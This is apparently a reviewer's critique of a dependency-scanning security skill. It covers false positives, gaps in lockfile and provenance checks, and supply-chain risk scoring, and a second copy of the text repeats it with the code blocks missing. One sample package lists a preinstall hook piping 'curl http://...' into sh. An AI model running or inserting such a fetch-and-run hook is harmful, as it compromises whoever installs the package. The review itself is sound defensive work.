Skill Being Reviewed
Skill name: dependency-scanning
Skill path: skills/appsec/dependency-scanning/
False Positive Analysis
Benign lockfile that can be flagged as higher risk than warranted by focusing only on depth:
dependency_tree:
direct: 15
transitive: 142
max_depth: 11
depth_concern: |
Max depth is 11 levels, which exceeds the
risk threshold of 5 levels in the skill's guidance.
observed:
all_transitive_deps_are_pinned_in_lockfile: true
all_transitive_deps_pass_audit: true
all_transitive_deps_are_from_verified_publishers: true
all_transitive_deps_have_recent_releases: trueWhy this is a false positive:
The skill's transitive dependency risk guidance (section "Risk Indicators for Transitive Dependencies") uses "Dependency depth > 5 levels" as a risk indicator. This threshold is reasonable as a heuristic, but the skill applies it as a binary flag without downstream context. A dependency tree with depth 11 where all transitive packages are pinned, audited, from verified publishers, and actively maintained may not warrant the same risk concern as a depth-5 tree with unmaintained, unaudited packages. The skill should weight depth contextually: depth without provenance should be higher risk than depth with pinned+audited+verified provenance. The current risk categorization can over-flag deep but well-maintained trees.
Benign dependency confusion risk flagged for simple namespace pattern:
dependencies:
- name: "@internal/core"
source: private npm registry
- name: lodash
source: public npm registry
review_finding: |
Dependency confusion risk detected: internal package
`@internal/core` could be confused if published on public registry.Why this is a false positive:
The skill's typosquatting detection section correctly identifies namespace confusion as a supply chain risk. However, the "@internal/core" scoped package has a private registry source configured in .npmrc. If the private registry is scoped (e.g., @internal:registry=https://private-registry.example.com/), npm will never resolve @internal/core from the public registry. The skill detects the confusion pattern without verifying whether package resolution routing prevents it. The risk indicator should be contextual: scoped packages with explicit registry configuration in .npmrc or lockfile have lower confusion risk than unscoped packages or scoped packages without explicit registry routing.
Coverage Gaps
Missed variant 1: Lockfile integrity and bisectability not assessed.
lockfile:
file: package-lock.json
integrity: |
All entries have integrity hashes (sha512).
No entries with `integrity: missing` or `dev: true` mislabeling.
bisectability: |
Lockfile is regenerated on every `npm install`.
Previous lockfile versions are not preserved in version control.
An audit finding from a specific date cannot be traced
to the exact dependency set that was deployed at that time.Why it should be caught:
The skill's transitive dependency analysis correctly identifies that lockfiles should be committed to version control and can be scanned with npm audit, pip-audit, etc. However, the assessment output does not include a lockfile integrity and bisectability check. A lockfile with all hashes present and correct is strong; a lockfile where some integrity hashes are missing (or where the lockfile is regenerated per install with no version history) reduces the ability to reproduce a specific dependency set for forensic analysis. The skill should add a lockfile_integrity subsection with fields for: integrity_hash_coverage, lockfile_version_control, bisectability_score, and dependency_pin_status (exact/pinned vs range-resolved).
Missed variant 2: Transitive dependency provenance chain not evaluated.
dependency_provenance:
direct_dependency:
name: "@scope/pkg-a"
version: "1.2.3"
publisher: verified (npm 2FA + org verified)
provenance: signed attestation (SLSA L2 + Sigstore)
transitive_dependency:
name: pkg-c
version: "0.9.8" (pulled in by pkg-b)
publisher: unknown (no verified publisher info)
provenance: unsigned (no attestation)
maintainer_count: 1 (sole maintainer, last publish 3 years ago)Why it should be caught:
The skill's supply chain risk indicators include "Single maintainer projects" and "Abandoned dependencies" as risk flags, and the SLSA alignment section recommends provenance attestation. However, the assessment output does not require transitive dependency provenance to be evaluated through the entire dependency chain. A direct dependency with strong provenance (signed attestation, verified publisher) may pull in a transitive dependency with no provenance and a single unverified maintainer. The skill should add a provenance propagation check: trace publisher verification, attestation signing, and maintainer count from each top-level component through its transitive tree, flagging components where provenance evidence degrades beyond a configurable depth.
Missed variant 3: Typosquatting detection depth — similarity analysis not scoped.
dependencies:
- name: color-name
publisher: npm user "definitelynotevil"
downloads_per_week: 150
age: 6 months
install_script: true (preinstall: "curl http://... | sh")
- name: @faker-js/faker
publisher: verified (npm 2FA)
downloads_per_week: 15000000
age: 3 years
install_script: falseWhy it should be caught:
The skill's typosquatting detection section lists common patterns (character swap, hyphen/underscore confusion, combosquatting) and detection approaches (manifest review, publisher verification, download count anomalies, recency check, install script inspection). However, the assessment output does not include a structured typosquatting risk score or require cross-referencing multiple detection signals. "color-name" is not a typosquat of a known popular package (it is its own package), but it has low downloads, an install script, and an unverified publisher — these are supply chain risk signals that the current output format does not capture if the name does not match a typosquat pattern. The skill should add a supply_chain_risk_score per dependency that aggregates publisher verification, download anomaly, recency, install script presence, and maintainer transparency signals regardless of name similarity to known packages.
Edge Cases
- Lockfiles for languages without a single lockfile format (Python: Pipfile.lock vs poetry.lock vs requirements.txt with hashes; Java: pom.xml without lockfile equivalent). The skill assumes a lockfile exists and is authoritative, but some ecosystems do not enforce deterministic dependency resolution.
- Git-based or URL-based dependencies (e.g.,
pip install git+https://..., npm install github:user/repo) that have no registry metadata, publisher verification, or integrity hash. These fall outside the typosquatting and provenance checks.
- DevDependencies that are included in the vulnerable transitive tree but not in the production deployment — the skill's guidance to use
--omit=dev is correct, but the output does not distinguish production from dev transitive risk.
Remediation Quality
Recommended additions:
- Add lockfile integrity and bisectability subsection: integrity hash coverage management, version control, bisectability score, pin status.
- Add provenance chain propagation check: trace publisher verification and attestation from top-level through transitive tree.
- Add a structured supply chain risk score per dependency: publisher verification, download anomaly, recency, install script presence, maintainer transparency.
- Contextualize dependency confusion flags with package resolution routing evidence (registry configuration, scope routing).
Comparison to Other Tools
| Tool |
Catches this? |
Notes |
| Socket.dev |
Partial |
Detects supply chain risk signals (install scripts, maintainer changes, publisher verification) but does not evaluate lockfile bisectability or provenance chain propagation |
| npm audit / pip-audit |
No |
Focus on vulnerability scanning; no supply chain risk scoring or lockfile integrity assessment |
| Sigstore / slsa-verifier |
Partial |
Verifies artifact provenance but does not trace provenance through the transitive dependency tree |
| OWASP Dependency-Check |
No |
Vulnerability scanning only; no supply chain risk scoring or lockfile bisectability |
| Snyk |
Partial |
Has reachability analysis but does not evaluate lockfile integrity or provenance chain propagation |
Overall Assessment
Strengths:
- Comprehensive coverage of vulnerability triage (EPSS + CVSS + CISA KEV) with a clear decision matrix.
- Strong transitive dependency risk analysis with depth, fan-in, and stale package detection.
- Good license compliance guidance with per-category risk levels and compatibility matrix.
- Useful typosquatting detection patterns and mitigation recommendations.
Needs improvement:
- The depth risk indicator (5+ levels) is applied as a binary flag without contextual weighting — deep but well-provenanced trees can be over-flagged.
- Lockfile integrity and bisectability are not assessed in the structured output.
- Provenance chain through transitive dependencies is not evaluated — a verified direct dependency may pull in an unverified transitive dependency.
- Supply chain risk signals are tied to typosquatting name patterns but not evaluated independently for packages with low downloads, install scripts, or unverified publishers.
- Dependency confusion risk flags do not account for package resolution routing configuration.
Priority recommendations:
- Contextualize depth risk with provenance evidence: weight depth by pin status, publisher verification, and audit results.
- Add lockfile integrity and bisectability assessment subsection.
- Add provenance chain propagation check for transitive dependencies.
- Add independent supply chain risk scoring per dependency (publisher, downloads, recency, install scripts) not limited to typosquatting name patterns.
- Contextualize confusion flags with package resolution routing configuration.
Sources Checked
Bounty Info
Skill Being Reviewed
Skill name: dependency-scanning
Skill path:
skills/appsec/dependency-scanning/False Positive Analysis
Benign lockfile that can be flagged as higher risk than warranted by focusing only on depth:
Why this is a false positive:
The skill's transitive dependency risk guidance (section "Risk Indicators for Transitive Dependencies") uses "Dependency depth > 5 levels" as a risk indicator. This threshold is reasonable as a heuristic, but the skill applies it as a binary flag without downstream context. A dependency tree with depth 11 where all transitive packages are pinned, audited, from verified publishers, and actively maintained may not warrant the same risk concern as a depth-5 tree with unmaintained, unaudited packages. The skill should weight depth contextually: depth without provenance should be higher risk than depth with pinned+audited+verified provenance. The current risk categorization can over-flag deep but well-maintained trees.
Benign dependency confusion risk flagged for simple namespace pattern:
Why this is a false positive:
The skill's typosquatting detection section correctly identifies namespace confusion as a supply chain risk. However, the "@internal/core" scoped package has a private registry source configured in
.npmrc. If the private registry is scoped (e.g.,@internal:registry=https://private-registry.example.com/), npm will never resolve@internal/corefrom the public registry. The skill detects the confusion pattern without verifying whether package resolution routing prevents it. The risk indicator should be contextual: scoped packages with explicit registry configuration in.npmrcor lockfile have lower confusion risk than unscoped packages or scoped packages without explicit registry routing.Coverage Gaps
Missed variant 1: Lockfile integrity and bisectability not assessed.
Why it should be caught:
The skill's transitive dependency analysis correctly identifies that lockfiles should be committed to version control and can be scanned with
npm audit,pip-audit, etc. However, the assessment output does not include a lockfile integrity and bisectability check. A lockfile with all hashes present and correct is strong; a lockfile where some integrity hashes are missing (or where the lockfile is regenerated per install with no version history) reduces the ability to reproduce a specific dependency set for forensic analysis. The skill should add alockfile_integritysubsection with fields for:integrity_hash_coverage,lockfile_version_control,bisectability_score, anddependency_pin_status(exact/pinned vs range-resolved).Missed variant 2: Transitive dependency provenance chain not evaluated.
Why it should be caught:
The skill's supply chain risk indicators include "Single maintainer projects" and "Abandoned dependencies" as risk flags, and the SLSA alignment section recommends provenance attestation. However, the assessment output does not require transitive dependency provenance to be evaluated through the entire dependency chain. A direct dependency with strong provenance (signed attestation, verified publisher) may pull in a transitive dependency with no provenance and a single unverified maintainer. The skill should add a provenance propagation check: trace publisher verification, attestation signing, and maintainer count from each top-level component through its transitive tree, flagging components where provenance evidence degrades beyond a configurable depth.
Missed variant 3: Typosquatting detection depth — similarity analysis not scoped.
Why it should be caught:
The skill's typosquatting detection section lists common patterns (character swap, hyphen/underscore confusion, combosquatting) and detection approaches (manifest review, publisher verification, download count anomalies, recency check, install script inspection). However, the assessment output does not include a structured typosquatting risk score or require cross-referencing multiple detection signals. "color-name" is not a typosquat of a known popular package (it is its own package), but it has low downloads, an install script, and an unverified publisher — these are supply chain risk signals that the current output format does not capture if the name does not match a typosquat pattern. The skill should add a
supply_chain_risk_scoreper dependency that aggregates publisher verification, download anomaly, recency, install script presence, and maintainer transparency signals regardless of name similarity to known packages.Edge Cases
pip install git+https://...,npm install github:user/repo) that have no registry metadata, publisher verification, or integrity hash. These fall outside the typosquatting and provenance checks.--omit=devis correct, but the output does not distinguish production from dev transitive risk.Remediation Quality
Recommended additions:
Comparison to Other Tools
Overall Assessment
Strengths:
Needs improvement:
Priority recommendations:
Sources Checked
skills/appsec/dependency-scanning/SKILL.mdBounty Info